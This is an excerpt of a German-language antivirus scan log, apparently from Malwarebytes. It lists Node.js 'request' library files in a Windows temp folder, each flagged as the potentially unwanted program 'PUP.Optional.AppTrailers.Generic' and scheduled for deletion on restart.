PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\duplex.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\passthrough.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\readable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\transform.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\writable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\test\basic-test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\test\sauce.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\bl.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\caseless\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\caseless\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\caseless\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\caseless\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\lib\combined_stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib\delayed_stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-http-upload.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-auto-pause.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-pause.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-handle-source-errors.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-max-data-size.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-pipe-resumes.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-proxy-readable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\common.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\run.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\forever-agent\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\forever-agent\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\forever-agent\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\lib\form_data.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\lib\async.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\support\sync-package-managers.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\db.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\example\usage.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\images\hawk.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\images\logo.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\client.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\crypto.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\server.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\images\boom.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\images\hoek.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\lib\escape.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test2.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\escaper.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\examples\offset.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\examples\time.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\client.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\crypto.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\message.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\readme.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\server.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\uri.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\test\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib\parser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib\signer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib\util.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\lib\verify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\errors.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\types.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\reader.test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\writer.test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\assert-plus\assert.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\assert-plus\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\assert-plus\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype\ctio.3ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\tools\jsl.conf, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\ctf.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\ctio.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\ctype.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\README.old, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\http_signing.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\test\mocha.opts, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\test\stringify_test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\lib\custom.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
